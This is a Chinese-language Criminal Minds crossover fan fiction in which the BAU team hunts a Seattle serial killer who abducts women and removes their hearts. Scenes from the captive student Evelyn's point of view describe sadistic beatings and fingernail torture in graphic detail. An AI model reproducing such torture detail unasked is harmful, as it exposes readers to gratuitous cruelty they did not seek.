《[综英美]在西雅图的日常生活》
1. 我一定是在地狱里
我一定在地狱里。
伊芙琳为自己目前所遭遇的一切皮肉之苦,做出唯一合乎逻辑的解释。
男人对她施加暴行时总会密切的关注她每一个反应。
那双黑不见底,藏满恶心的污垢和施虐欲望的眼睛,如同梦魇一般,时时刻刻出现在伊芙琳疼到麻木的脑子里。
如果他心情不好的回来,伊芙琳总会被拳打脚踢,这时候但凡她不小心泄露出痛苦的呻吟,他就会更加兴奋。
伊芙琳只听了几堂犯罪行为分析讲座,但罗西先生的一句话始终让她牢记于心。
【当生死全凭捕猎者所掌控,求饶哭泣只会助长他们的气焰并且使他们变本加厉……】
甚至会丢掉性命。
连环杀人犯脑子里总会有一种别有的精神执念,轻易不要戳破他的幻想。
伊芙琳充当着家里的母亲角色,她尽可能的完成这个男人的幻想。
可问题是,太疼了……任何理论上的文字语言都没有办法减轻她所遭受的痛苦。
从小到大,伊芙琳最痛的时候也不过是被狗咬了一口。
疼痛让她时刻处于晕眩的状态,男人一只脚踹过来,如同一把锤子将她的骨头敲碎了……
伊芙琳咬着嘴唇,在那一瞬间的剧痛下她觉得自己咬破了嘴唇,血腥味和鼻血倒流进口腔中。
她没求饶,她以为自己一定能做到,可疼的实在是受不了了,伊芙琳捂着左胸下的四指处,肋骨的位置疼的她直接冒起了冷汗。
痛苦的呻吟被她紧咬着着嘴硬生生的咽进去,瞪大充满生理性泪水的眼睛,愣是没有发出让变态血脉喷张的痛苦哀嚎声。
伊芙琳迷迷糊糊的牢牢记着那句话……
她想活命……
厨房里,男人焦躁的绕着伊芙琳转了好几圈。看着趴在地上女人蜷缩着身体,铂金长发覆盖着脸,他猛地弯腰扯着伊芙琳的长发,狠狠的抓起将人拖到厨房对面,走廊另一侧挂着锁的卧室。
木质的地板边缘裂开,表层的木头被粉化。
走廊没有窗户,也没有灯,哪怕是在白天,也是黑洞洞的。
染血的手捂着左肋,伊芙琳咬着嘴唇呼吸急促,及腰的长发就像是男人手里的一条拖把,等到他推开房门,入眼的就是木质的架子和角落的杂物。
男人看着架子上仿佛还在跳动的心脏,那些女人的哭喊哀嚎以及他拿着刀将她们最珍贵的东西剥离,血液从手中缓慢流淌的湿滑刺痒的感觉都让他涌起一股莫名的兴奋。
他张开五指,低头看着手中的铂金色头发落下,视线顺着滑落的发丝蓦然盯着少女那双紧闭着眼睛咬着嘴唇不吭声的样子,本愉悦的黑漆漆的眼睛里快速划过阴霾和狂躁。
男人蹲下身,五指有力的抓着女孩的脑袋,看着她那张稚嫩的脸,他声音如黏腻如蛇一般凉凉道:“你为什么不求饶。”
伊芙琳深吸口气,可深呼吸的动作就像是锤子一样,不停的砸着她的左肋,疼的她忍不住颤抖。
男人阴测测的盯着女人,从对方带着血和汗的脸上,到她的胸部,目光痴迷的停留着,带着渴望和血腥。
可不知道为什么,男人抚摸着女孩的手,在她的胸口处硬生生的避开了,他避开的手都用力的青筋直冒,他烦躁的压低声音像是一只野兽一般从胸腔挤出来瘆人的吼叫声,猛的扯着女人的脑袋疯狂的砸向地板。
剧烈的撞击声,木板封住的窗户外传来声音,“怀特先生?你在家吗?”
男人喘着粗气,他猛然停下动作,但手依旧用力的攥着女人的头发,看着地上喷溅的血迹,他紧咬着牙齿,太少了!摸着那一点点微不可察的血痕,男人没有得到任何施虐的快感,这让他与窗外女人对话时,声音都带着愤怒。
“我在赶时间做工密斯太太,您最好有什么重要的事需要我的帮助!”
“哦,当然。”一墙之隔的密斯太太牵着自家的德牧犬,赞同的点点头,她当然有重要的事。
看了眼天空上的乌云,密斯太太拢着针织的披肩,这快到五月的天气依旧冷的让人不愿意离开自己的温暖的卧室。
德牧有些不安的从喉咙里呜呜的发出警惕的低叫声。
这孩子只要靠近这里总会很不安,密斯太太有些无奈,她一边安抚着自家的宝贝,一边和怀特先生道。
“您可真是太难找了,总也不在家,我家的橱柜年代太久远了,钉子都要脱落了。我们想换一套新的,防水防霉,您知道的,咱们西雅图总是连绵多雨的,要是碰到了……”
密斯太太喋喋不休。
男人压根没听清密斯太太接下来的废话,他盯着伊芙琳的手指,眸光带着奇异的色彩,他似乎在笑,可那一张脸因为笑这个动作,五官都在颤抖和扭曲,像是抽搐。
屋外的密斯太太说话的声音无疑让他有一种奇异的兴奋感。
在这一刻他似乎并不怕被人发现,像是歌剧院的演员们总是希望观众能够热切的观看他们华丽的表演。
他松开手,也没管伊芙琳是否会尖叫求助,毕竟那双让他想要缝上的蓝色眼睛,早就紧紧地合上,这可真是太好了不是吗?
女孩脑袋无力地被砸到了地上,本就血肉模糊的后脑,铂金色的头发染上了斑驳的红色痕迹。
男人起身来到自己的宝贝架子前,手指摩挲着漂亮的玻璃罐子,抱着最后一个放在自己的嘴边,他隔着冷冰冰的玻璃壁,亲吻着里面泡的柔软的心脏,眼睛没有片刻的迟缓突然转向左侧,盯着一侧翻开的工具箱里。
伊芙琳并没有享受到片刻的宁静,那种没有意识、脑子一片空白、浑身放松的昏睡时刻在被手指指甲缝隙用力扎进细长生锈的钉子时。
一声痛苦不堪尖锐的喊叫声被紧紧的堵回了嘴里。
灰色的胶带紧紧的粘着她的嘴,因为剧痛而陷入短暂窒息的伊芙琳甚至忘了还有鼻子能呼吸。
就在她窒息到一阵阵白色的光线在眼前挥之不去,斑驳的黑点,心跳声越来越弱……
男
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人的手上都是血,他收回手看着女人蓝色的瞳孔呆滞时,他不慌不忙的如同掐好了时间,在那双眼睛从呆滞到慢慢涣散的时间里他在数数。
等到时间差不多,再不救人,他的乐趣可就没了……
铁桶内早就准备好的带着冰块的自来水。
男人起身倾倒,哗啦一声,叮咚的冰块撞击地面的声音响起。
地上的人意识清醒片刻,被湿漉漉的发丝遮挡的视线里,如同被蛛丝割裂般的男人兴奋的笑脸,是伊芙琳意识消失前见到的最后一个画面。
此刻,密斯太太早就坐在家里,打开电视机,拿起篮子里的毛衣针线,给丈夫织年底要穿的新毛衣打发时间。
老妇人不时的低呼声,她总会不小心漏了针。
年纪大了……哎……
……
厨房里,地上是碎裂的盘子,细碎的陶瓷碎片有的飞溅到了桌子下。
碎片上还有伊芙琳被直接推倒在地,手被男人死死地按在碎片上留下的血渍。
一路凌乱的打到了厨房门口左边的角落。
刚上一年级的男孩就坐在餐桌的一侧,看着伊芙琳就在他脚边被打,他没有任何情绪波动,坐在椅子上,双脚搭在椅子下的横栏上。
厨灶上的三明治,煎蛋已经焦糊黑化了。
男孩关掉火,将旁边还未来得及组装的面包吐司装进早餐袋子里。
伴随着痛苦的闷哼声,男孩看向那扇半开的房门,里面发生的事映入他的眼睛里。
还好,爸爸是一个遵守约定的人。
男孩这般想着,嘴角抽搐片刻,硬生生扯出了一个微笑,只是嘴角抽动上扬的微笑。
男孩脚步沉稳不紧不慢的推开房门等着校车。
———————
2009年4月20日,23时48分。
华盛顿州金县西雅图一处废弃的工厂门口,传来刺耳的刹车声。
喝多了的中年男人爬下车的瞬间就吐了……
酒精麻痹了他的脑子,踉跄着想要抓着车门起身,手总是和门把手交错。
男人痛苦哀嚎着,自己从地上爬起来,哭着喊着妈妈……像是一个被抛弃的孩子。
在树木环绕,距离最近的一家酒吧到这里也要20分钟的车程,如此荒无人烟的地方,男人的哭声格外瘆人。
明黄色的车灯笔直的照出了一条阳光路,男人呆呆的看着路前方的废弃工厂,此刻这栋废弃的建筑幻化成了他幼时在内达华州的家。
男人踉跄几步,左脚踩右脚,右脚踩左脚,一路弯曲着踩着云朵一般虚浮的步伐,闯进了工厂里。
躺在地上,他觉得有点冷,迷迷糊糊的将自己缩在妈妈的怀里,那一股恶心的味道让他睡梦中都在强忍着想要呕吐的生理反应。
也不知过了多久,天边发白,一声尖锐高亢粗旷的喊叫声一声比一声凄厉。
如此,当西雅图的太阳刚从地平线跃出没多久,接线员接到了一通报警电话。
2. 尸体
佛吉尼亚州,匡提科,BAU总部。
2009年4月21日,8:00
儿子半夜发烧了,JJ忙了一宿,好不容易孩子退烧了,才开车上班。
JJ推开玻璃门,看了眼办公大厅,摩根坐在椅子上,双腿交叠懒洋洋的搭在工位上。
一侧的艾米丽单手撑着宿醉的脑袋,听到推门声下意识的抬头,“早。”
“你们看着可喝了不少,瑞德还能来上班吗?”JJ来到艾米丽的桌边,她昨晚喝了一杯就早早的回去了,虽然很想陪伴可怜的瑞德,但亨利发烧了,她不得不回去。
摩根双手交叠于脑后,望着天花板沉吟片刻,最终觉得陪着伤心的朋友醉酒发疯这件事也不算丢人,于是他将昨晚发生的事做了一个小总结,“实际上,我们喝的烂醉如泥,瑞德一杯不碰抱着梅芙送给他的书坐在桌边看着我们发酒疯。”
艾米丽想起自己趴在瑞德身后的窗户上,真的是整个人贴上去扒着格子窗户,哭着喊妈妈……她捂着脸痛苦的呻吟。
JJ拍了拍艾米丽的肩膀,刚要说醉酒不算什么,毕竟那一晚唯一清醒的见证人可能就是瑞德。
玻璃门再次被打开。
穿着亮粉色裙子,头戴金色百合花发箍,鼻梁上架着同款金色塑料宽边眼镜的无敌少女热情洋溢的和大家打招呼。
“嗨嗨!巧克力男孩,艾米丽JJ早上好!”
加西亚胖胖的身子跑起来还是蛮有重量感的,她推了推鼻梁上的眼镜,一手拿着纸杯装的外带咖啡,一面得意洋洋道“你们猜,我看见谁了。”
“瑞德。”加西亚见到同事们惊喜的样子,她哼笑着扭着胖嘟嘟的身子,伸出手指在胸前摇了摇道“只要加西亚女神出场,没有什么搞不定的!”
艾米丽冲着加西亚女神竖起大拇指。
说实话,她一向不会社交,对于瑞德这种恋人死在眼前的痛苦,也不知道如何劝解。
霍奇找瑞德谈了,摩根也是,但最后都是无功而返,瑞德已经两个星期没上班了,再这样下去可不行,但大家都没有办法。
没成想,加西亚送了几篮子坚果后,直接不顾瑞德的拒绝,大手一挥,摩根撞门……他们被一通电话叫去看着狼狈的大门……大家喝的一摊烂泥……
虽然过程粗鲁,但结果还是好的。
门再次被打开,四人望去顿时笑了起来。
挎着帆布包,浅棕色卷发剪到耳边,干干净净的乖巧大男孩推门而入,看到同事们,他抿着嘴笑了笑。
“大家早上好。”
霍奇一大早被上司叫去办公室,分到了一份紧急调查案件。
上司的朋友,西雅图警局局长威廉姆斯失踪了四个月的女儿,在今早凌晨五时被人发现在西雅图南郊的废弃娃娃工厂里。
无论罪犯有意还是无意,本想要自己查案并不愿意找联邦调查局帮忙的威廉姆斯在看到女儿尸体的那一刻,扛不住内心的煎熬,找到了联邦总局。
霍奇站在二楼,看到瑞德能来上班他心里松口气,昨晚上喝的倒不是很多提前离开接孩子的男人依旧严肃着一张脸敲敲栏杆,“来案子了。”
———————
机尾标志蓝色N4SP标志的白色飞机划过蔚蓝的高空。
靠近霍奇的桌边上,笔记本电脑的页面上是受害者照片。
四名女性一名男童。
小组成员三三两两聚集在组长附近前后的座位上,低着头翻看案件的详细资料。
“奥利维亚.威廉姆斯在兼职的便利店失踪后,时隔四个月,出现在了南郊的废弃史密斯娃娃工厂,心脏消失,尸体腐烂严重,头发被剃光,眼睛缝合,头上涂满了深棕色丙烯颜料。”
“这是时隔最长的一次作案,从2008年10月到目前为止,西雅图发生了四起绑架案。”霍奇和其他人简单的说明了下情况。
加西亚看着资料和受害者的照片,深棕色短卷发的女人抱着儿子笑容灿烂。
她深吸口气,果然伏法后干了这么多年还是生理性不适应,她继续快速的讲解道,“第一个受害者阿比盖尔.布朗,43岁。”
“是联合湖附近布朗牙科诊所的牙医,2008年10月23日带着孩子前往大学校区参加活动后人就不见了。”
“一个星期后,11月1日中午,孩子和妈妈一起在联合湖的树林中被一对情侣发现,阿比盖尔.布朗心脏被挖走,孩子头部被钝器胡乱击打而亡。”
“第二名受害者,夏洛特.威尔逊,43岁,家庭主妇,11月2日去超市途中消失的无影无踪,七天后在超市附近的巷子里被找到,心脏丢失。”
“紧接着是米亚.琼斯,24岁,歌舞剧演员,最后一次登台演出是在11月10日,失踪后被人发现在联合湖畔旁,心脏丢失。头发被剃光,眼睛缝合,头上也涂上了深棕色的丙烯颜料。”
霍奇看着资料,“受害者分别在相距甚远的街区失踪,目击证人所说,回过身人就不见了。没有争吵喊叫的声音,无声无息。”
“超市和大学校园都是人来人往,转个身的时间,人悄无声息的被绑走。他很聪明,一定用了什么方法没有惊动任何一个路过的人,悄无声息的带走了受害者。”
“他抓了人却没有立刻杀害,受害者存活时间最长足有四个月的时间,按照这个杀人模式,最后一名受害者死后他一定会短时间找到一个替代品。”罗西翻页看着奥利维亚.威廉姆斯失踪和尸体发现的时间。
由于是今早刚发现的尸体,这名受害者的信息不是很全。
霍奇声音严肃道,“受害者类型没有明显的联系,作案手法没变,或许,那一名未知的失踪者还活着。”
瑞德看着资料,他着重看了眼第一名受害者,手指蜷缩抵在下唇,他皱着眉道“绑架过程无声无息,从速度和效率来看。他或许有一名帮手,能协同他同时带走阿比盖尔和孩子,一般来说七岁大的男童都比较活泼他们专注力不够,他的帮手很有亲和力或者能让孩子的注
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意力一直在帮手身上。”
昨夜没怎么睡,瑞德眨了眨干涩的眼睛,喝了口桌子上的咖啡,纯黑咖啡的苦涩让他精神了很多,只不过在看着受害者尸体的施虐痕迹时,眼前突然浮现出了梅芙的脸。
他蹙眉揉了揉额头,强打起精神继续查找纸张存在的线索。
“他用专门的武器挖去受害者的心脏,还是有计划的对每个受害者施暴升级?”瑞德手蜷缩做成小幅度的凿的动作。
小组的成员翻看纸张资料,有的点开平板获取奥利维亚最新的尸体照片和鉴定报告。
JJ手指划开,一张孩子头红白血肉模糊,歪在死去的母亲怀里,藏在树林的灌木丛中,七岁的男孩惨死的样子,她想到了自己的儿子。
她捂着脸定了定神,轻声道“证据表明,女性的尸体都呈现出施暴的痕迹,阿比盖尔身上最严重的是踹断了两根肋骨,肺部严重淤血。夏洛特威尔逊胃部严重出血。米亚琼斯的腿被他踹断。”
“不过存活时间最长的受害者奥利维亚身上除了施暴,”JJ点开受害者的照片,血肉模糊的指甲全都只连着一丝肉膜,“还有被尖锐的东西将指甲与肉分离…这是他在杀了三个人后,第一次出现了施虐的征兆…”
“施暴带来的快感不足,他会想到其他办法。”瑞德快速的翻看了后两页资料。“施暴是带有控制性的实际伤害,施虐是以获取快感为核心动机。他升级了,他暂时因为某些原因没有立刻杀掉奥利维亚,所以他在摸索中找到了代偿杀戮,通过非计划性暴力行为和畸形快感,平衡自己内心杀人的欲望。”
艾米丽在心里想,这是为什么呢,他究竟为什么短时间内没有办法杀害奥利维亚,甚至为了避免杀戮,从施暴升级到了施虐。
她看着奥利维亚的资料,父亲是警局局长,自己也是法医学的学生,“这个姑娘太聪明了……”
艾米丽声音很轻,但所有人都听到了,沉默蔓延。
所以她收到的折磨最严重……
沉默中霍奇继续开始摸索犯人的模式和动机, “没有侵害,只夺取了受害者的心脏,他的动机?”
“个人仪式?”摩根道。
“报复或者宣泄?”瑞德低着下颌若有所思道“他对受害者施暴,表达着愤怒,挖去心脏是通过剥夺人体最重要的器官来显示自己的掌控力……”
可为什么最后两名受害者被缝上双眼?甚至剃光了头发……
“受害者分布在华盛顿校区和联合湖的范围内,他在这里有自己的住所,私人的空间。抛尸点和绑架点相近,他并没有随意选一处地方,那他肯定因为什么原因返回到绑架点抛尸。”
奥利维亚的尸体出现,按照犯人的行为模式。
瑞德咬着嘴唇道,“犯人现在手里一定有一位受害者。”
霍奇也担心警方落下任何一位受害者的相关信息。
让加西亚查一下近期从联合湖到南郊娃娃工厂为直径,2009年3月份到4月份之间的失踪人员名单。
3. BAU
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黑色的车穿过密林,带起阵阵黄色的灰尘。
西郊史密斯娃娃工厂,二战后由于经营不善而倒闭,荒废了几十年。
摩根和罗西下车,一旁等着的西雅图警局局长看见两人下车,才强打起精神上前自我介绍“我是伊桑.威廉姆斯,这是案件小组的组长,亨利.威尔特警探。”
“摩根探员,”摩根自我介绍,然后看向身侧道“这是罗西探员。”
双方简单的握了手后,威廉姆斯快步离开,留下亨利.威尔特接待两位来自联邦总局的犯罪行为小组成员,说实话,亨利并不全然相信犯罪心理画像。
仅凭着调查就能推断出犯人的年龄身材长相,哦对了还有性格特征。这足以让他们在马戏团里担当重要的魔术师的角色,这不是嘲笑,对于亨利来说,他就是觉得这些人很不靠谱。
奥利维亚的尸体已经送回警局,工厂铁门外侧五十米处有一堆呕吐物,工厂内包裹尸体留下的毯子旁边还留下一只男性皮鞋。
亨利双手叉腰,盯着地上的星星点点被蹭的到处都是的血痕道“这是报案的男人留下的,他将奥利维亚当成了自己死去的妈妈,抱了一宿。”
“他人呢。”摩根问道。
“此刻在警局,”亨利接着道,“说实话,奥利维亚是一个非常勤奋聪明的姑娘,她友善又开朗,没有任何不良嗜好,是属于最低危的人群。她失踪的第一个月,我们甚至都不认为她被绑架了。”
“为什么这么说?”
亨利叉腰的手放下,眼神带着飘忽,但片刻后平静下来道, “当时我们认为连环杀手针对的是深棕色头发四十岁以上且有孩子的女人。”
“米亚.琼斯是浅金发。”第三名受害者,罗西轻声道。
不过显然犯人不是很满意浅金色头发的替代品,众人看着罗西从地上捡起来的几缕浅金色的头发,罗西眯着眼看着白色手套上的发丝,三根断裂的发丝,有一根和另外两根粗细不同,颜色也带着微不可察的区别。
摩根从一旁的亨利手里借了一个手电筒,罗西白色的手套被光打成了冷白色,但强光下并不影响区分。
一根带着微卷,铂金色,发丝细且柔软,还带着光泽。另外两根浅金色,发丝粗且直,活性降低发丝带着枯败的灰质感。
摩根将两种不同的头发装入袋中交给一旁取证的警员。
亨利本一直沉默着,因为他们西雅图没有办法为自己辩解,不过当他看到那一根铂金色的长发时他脸色微变。
罗西敏锐的察觉到了,他知道是为了什么但他却不动声色的询问,“你有什么发现?亨利探长”
这几名受害者,前两名头发是深色最后两名是浅金色,这包裹尸体的毯子里如何能有一根铂金色的头发?
这明摆是一个奇怪的事情。
摩根也盯着亨利探长那张有些心虚的脸,他本就漆黑的脸更加严肃了,即便警局这些年对于他们BAU的成员所做的事并不以为意但也不至于粗心到连这种事都忘了告诉他们。
“是的。”亨利不自在的将帽子摘下挠了挠一个星期没洗的头发,看向罗西。“实际上,一个月前有两位浅色头发的二十岁姑娘失踪了……其中一位已经找到,另一位至今没有任何消息。”
“失踪的姑娘确实是铂金色头发……”
这番话说到最后,亨利探长自己都觉得自己片面的有些愚蠢,但他真的以为那两位大学女生因为各种原因晚回来而已。
尤其是这些年,年轻人的男男女女交往非常混乱,再加上娱乐场所增加,酒吧、甚至是便宜的一宿只需要一美元的汽车旅馆,很多年轻人都愿意消失一两个月在这些地方胡乱的玩乐。
几个月不联系也很正常。
亨利经历太多,难免思想固化,只以为年轻的女孩子们只是不想被家里人发现,所以不接电话。
实际上其中一个姑娘确实是和男友在汽车旅馆完了一个月,至于不接电话?他们当时被警察找到时还在床上……
罗西年纪大经历的多,对于这些人的片面,此刻也没说什么,甚至表情都很平淡。
如果不是fbi和地方警局的关系脆弱不堪……
一条人命,被如此不以为意的对待,摩根脸色不太好的走到一边打电话给加西亚,查一下失踪者伊芙琳.蔡司的所有信息。
加西亚立刻明白是什么情况了,她快速的敲打键盘,屏幕一行一行消失又出现的一连串信息被加速到一个个文档里快速的发给霍奇和JJ。
罗西看了眼四周,“距离最近的公路三十多公里,轻易不会有人发现森林深处废弃的工厂前停着一辆车。”
除了报警男人车辆留下的车辙印,还有两条车辙印明显更宽,拐入通往公路的那条小路口也有着明显的拖拽痕迹。
拖拽痕迹,一般只有皮卡车这种重心较高的车才会出现拖拽的痕迹。
皮卡车车辙印记的间距也比旁边普通轿车间距还要大。
“我们猜测是大皮卡车。”亨利探长站到罗西身边,看着黑人探员蹲下身查看车辙印间距时默默地补充了一句。
摩根起身,叉着腰看了眼天空。
四月的西雅图引起总是阴雨绵绵,不一会,在几人探查时乌云笼罩在上空,天色变暗。
摩根道“他用毯子裹住了尸体,并没有摆出任何姿势,只胡乱的扔到地上,他怕尸体的血渍流到车上,有可能那辆皮卡车不是他的。”
因为连环杀人犯取走了受害者的心脏当作战利品,他并不害怕留下证据。但他依旧用毯子包裹受害者,只是因为怕血渍弄到车上不易清洗。
“他一定有一份需要开皮卡车流窜于联合湖附近的工作,绑架抛尸都在这附近。受害者身上存在的暴力殴打,无论怎样动静都不会太小,他有自己的固定且封闭的住所才能施展他的暴行。”
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要询问的人太多了,有的实话实说,有的吞吞吐吐,有的因为个人原因不愿说实话。
艾米丽和霍奇分别对这些人重新询问找出藏在角落里的一丝线索。
一上午过去了。
“我那天晚上喝多了,我也不知道她被带走了。”二十一岁的莉娅垂着眼睛并没有看向桌子对面的警察,即便对方穿的随意面容温和沉稳,她也紧绷着肩膀靠着椅背,语速有些慢吞吞的。手指摸着短裙中央的扣子,一边说一边抠。
艾米丽在等待莉娅时,已经将伊芙琳.蔡司失踪当天最后见到她的人提供的笔录翻看了好几遍。
着重在最后一篇。
【那天教授布置的是青少年心理健康的课题,我们小组的四名成员对好各自的时间,决定在晚上十一点去自习室讨论。
我专门预定的房间,那天我夜宵吃完后提前去的自习室,结果发现我预定的自习室被人占了!
那个家伙太过分了我们吵了好久………………
伊芙琳?她当然也在,她是最后到的,甚至迟到了,这让我很吃惊,她可是一个乖宝宝,做什么事都很有原则宁可早到半个小时也不会迟到。
我们小组里除了她,其他人吵架都很厉害,所以我当时还将她挡在身后不用她帮忙。
不过她似乎也有些憋着气的感觉,脸色有些淡淡的,这很少见………我每次和她相处都觉得她脾气很好,很少见她气的不轻的样子,又是迟到又是生气的,我见我那俩同学在前面干架,我就有空闲多问了一嘴,不过她只是说有些不舒服。
我们吵了一个小时都累了,于是决定先回家,在门口她看到她室友时脸色更难看了,甚至别过身。
她室友只说了一句她的学生都走了,不会留在她们宿舍里睡觉……】
伊芙琳.蔡司大三在外和别人一起合租的房子,位于西雅图学校和她在联合湖附近兼职的急救心理热线中间的位置。
四个人合租的房子,伊芙琳住在二楼的主卧,莉娅住在二楼的侧卧,一楼两间房也是西雅图大学的学生。
出事当天一楼的一位住户因为家里有事请假回家,另一个是晚上在便利店兼职凌晨一点才下班。
【……大门是虚掩着的,我还想着她们怎么不把门关紧了,因为有两个年轻的姑娘被杀,我们也很害怕,不管进出总会将大门紧锁着的,每个人都有钥匙。
我这个人非常惜命,所以我很气愤,我也不管她们是不是已经睡着了,我一定要把她们叫起来。
可刚走到楼梯口,莉娅突然从楼上冲下来,她看起来很慌乱,和我说她在网站里看鬼片吓得不敢在楼上呆着,使劲拉着我进了我自己的房间……】
这个一楼的室友对于莉娅说自己喝酒睡着了的话,她很肯定的表示,莉娅当时很清醒,身上并没有酒的味道。
艾米丽对于这一点,她并没有直接戳破对方的谎言,这会让本就紧张的莉娅情绪失控,如果对方强硬的表示不愿意配合,这会耽误他们很长时间。
于是,莉娅本紧张的都快将自己崩断了,她面前的女人似乎并没有想再问什么,而是询问她需不需要一杯咖啡。
艾米丽挑眉轻笑“你肯定没有喝过警局的咖啡,相信我,它会让你大吃一惊。”
这种平淡的对话虽没有让莉娅整个人放松,但明显情绪缓和了一点,“随便。”她松开都快抠掉的扣子,手从桌子下放到了桌子上,看到女人彻底离开她才整个人放松了下来。
会议室窗外大厅内忙碌的工作人员,电话热线一个接一个的打进来,人们进进出出,很大的办公厅里密密的格子间,两面环绕的落地窗外是乌云遍布的高空。
莉娅看着看着,又开始焦虑的抖着腿,鞋子和坚硬的地砖撞击,密集的哒哒声一直在响。
————————
艾米丽还未进休息间,就被一位警员办公人员拉住,递给她最新的奥利维亚尸检报告。
艾米丽看了眼紧紧的盯着她的莉娅,面色平静的往旁边第三个小格子会议室走去。
隔着黑框玻璃看了眼里面,奥利维亚便利店的同事。
四十五岁的琼.托马斯。
她敲了敲小会议室,将奥利维亚最新的检验报告拿给霍奇。
霍奇从小办公室走出来,里面的琼眼睛红彤彤的看向这边,艾米丽收回视线。
“四个成年女性身上,只有奥利维亚右胸有淤痕,是被人狠狠的掐住了造成的淤血痕迹,对比显示,这并不是成年人的指痕。”
【……不规则形状,边缘清晰,长度与儿童手指尺寸相近……】
霍奇正准备拿着资料进去,被艾莉叫了一声,他停顿脚步回头。
艾米丽轻声道,“莉娅的那个学生……”
霍奇点了点头,但他们还需要足够的证据证明莉娅的学生就是这个指痕的人。
霍奇进了会客室,他询问琼.托马斯,“你之前说过奥利维亚匆忙离开前从便利店里买了一袋彩虹糖果?”
琼点了点头,“奥利维亚爱吃便利店一切甜食,唯独不爱吃糖,所以那天她买了糖果我就多问了一嘴,她说是给自己的学生买的。”
“她离开时附近有没有八岁到十岁的孩子。”
琼低眸回忆起当时的情景,奥利维亚背着自己的书包抓起结账的糖果离开,而她则因为门口的一辆装着奇奇怪怪的家具的皮卡车挡住了视线就没再关注,而是趁着没人低着头快速吃掉自己的晚餐。
她绞尽脑汁也没有想到什么,只有些难过的摇了摇头,“并没有看到。”
与此同时————
瑞德和JJ走访了奥利维亚失踪时便利店附近的店铺。
就在路口左转的通向I—90高速路口的位置,一辆黄色餐车的老板给了瑞德和JJ一个有用的信息。
老板是一位四十左右胖胖的男人,头上戴着炸鸡招牌,脑袋上纸壳做的尖尖的红色嘴巴正对着瑞德,很近。
瑞德后退一步,目光从鸡嘴落到了目击者的脸上,对方正拿着JJ给的照片皱着眉回忆,“我也是刚来这里两个月,都不熟悉,这姑娘……”
这时一辆白色的皮卡车路过,他冷不丁想起来什么,有些犹豫道,“我不知道那个人是不是她,都三四个月了,你现在问我我也记不清,不过那辆车倒是让我想起来。因为太晚了我也收摊了,倒是看到一个女孩骑着自行车路过,当时我们之间的距离……”
老板挠了挠头,指着不远处十来米左右的马路一侧,“我是看到一个金色头发的姑娘骑着自行车路过。”
瑞德手小心的搭在
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餐车的餐板上,歪着头避开老板转头冲刺过来的红色鸡嘴,率先问老板,“她是自己一个人吗?”
老板摇了摇头,“她后座有一个男孩子。”
JJ和瑞德对视一眼,她询问了男孩的相貌特征。
因为是夜晚,光线很黑,老板只说那孩子看着能有十一二的年纪,头发是深色的不确定是不是深棕色还是浅咖色,头发长及脖颈,乱蓬蓬的。
西雅图警局内的一间办公室。
白板上是受害者的照片,但看到最后一个……
罗西眼里闪过一丝诧异,看了眼身后。
JJ被叫了出去,瑞德刚从休息室弄到了一杯咖啡进门,低着头喝了一口,难喝的让他眉头都蹙了起来,将咖啡杯放在桌子上,感觉到罗西看过来的视线,他正抬眸时余光却看到了白板上的照片。
清澈的暖棕色眼睛里闪过一丝微不可察的沉思,过目不忘的瑞德在脑海里翻遍了所有讲座几万个听众,想起来这个眼熟的姑娘就是西雅图大学听过他讲座的学生。
两人不认识,也不熟悉,但……
瑞德脑海里迅速闪过梅芙双眼微张躺在地上,太阳穴上的血缓缓流淌的画面。
他知道自己的情绪从梅芙死后暂时没办法很妥善地控制住,只强压着按照自己看过的心理书籍缓解。
瑞德垂眸轻轻吸口气然后吐气,看着资料又看了眼时间……
无疑,他们已经找到了认识凶手并且因为意外而存活的莉娅。
但显然对方死不承认自己有带人回过宿舍也不承认自己有学生。
加西亚查了所有信息,包括莉娅银行账户,账户转账信息只有莉娅母亲给她转的生活费记录。
这很被动。
————————
伊芙琳已经很难爬起来了,当密闭的室内,只有木板封闭的窗户缝隙存在的细小的惨白光线,她才知道现在是白天。
恍恍惚惚的已经分不清是昨天今天还是明天……
又或许过了好几天。
肚子从醒来就开始发出轰鸣声,她饿极了。
每一根指尖都带着湿热的刺痛,血腥味浓郁到发臭。
伊芙琳想要看看自己的手,可又害怕看到已经剥落的指甲,不看或许疼痛也会减半。
这时候有人缓缓的打开门锁,片刻后门吱呀一声被缓缓推开。
伊芙琳心理极端的恐惧让她呼吸急促心跳加剧。
施暴的痛苦伊芙琳咬牙还能忍受,但细小的长钉子扎进去的瞬间,她当时就崩溃了……那一刻她在心里的想法是不如杀了她来的痛快。
这种施虐让伊芙琳精神都密密麻麻裂开了缝隙,当罗西老师的话被她渐渐遗忘……终于没忍住哭喊了起来。
她的身体如同被分割一般分不清哪里更痛,肋骨、后脑、手指……牙齿也被打掉了一颗,就是上牙齿中间往左第四颗,左脸被粗壮的拳头差点垂烂,太阳穴嗡嗡的……
不知道自己能不能活下去,坚持了多久?
伊芙琳浑浑噩噩的都已经不知道时间了……
窸窸窣窣的脚步声越来越靠近伊芙琳。
她紧绷着身子,这一刻她真的想要吞下去什么能够永远的消失。
或许在对方兴奋的拿着细长的钉子扎着她的指甲缝隙中的时候,伊芙琳就已经崩溃了。
人影动弹了一下,绕到了伊芙琳左手边,伊芙琳能感觉到一双眼睛看着她,她死死的不敢发出声音,脸和嘴唇都竭尽所能的放松。
摩擦的声音,听了无数次,这是那个男人十岁的孩子经常穿的裤子。
裤子的面料偏硬,走路都会带着窸窸窣窣摩擦的声音。
知道不是男人,伊芙琳提着的心短暂的放下,可放下之后又空落落的,无所依,四面找不到依靠,无法求助。
在这之前她每天绞尽脑汁的摸索着和男人的相处,哪怕挨打后疼的不行她也很开心。
活着,活下去的每一天都是对她自己的奖励。
可这种诡异的沾沾自喜,顷刻间毁灭了。
伊芙琳知道,这个男人已经掌握了控制她情绪的方法,他会不遗余力的用这种施虐的方式折磨伊芙琳,而这种疼到浑身痉挛到自主窒息,她也确实挺不住了。
她大概会求饶,满足男人一切的愿望,然后留下心脏成为那个男人的战利品,而尸体会出现在西雅图任何一个地方,成为警察查案的第五个受害者。
左胸被一只手轻轻的盖着,男孩触碰了两下后挪开,伊芙琳心跳咚咚咚在响,这一刻她脑海里闪现了很多条线,每一条线都胡乱的团在一起,不知道线头在哪里。不知道怎么解开。
他为什么触碰,他是好奇吗?
他的行为动机是好奇还是恶意,是想要探索还是恶意的展现他的权力控制,如同他的父亲。
伊芙琳在等。
她在等一个或许能够解开困境一把钥匙,在这期间,浓郁的血腥味似乎都变得没那么恶心,空气的憋闷和一股双氧水酒精的味道缓慢且滞闷的浮动,窗外骑车的叮铃声由近及远,那是她漫长的囚禁中最向往的自由。
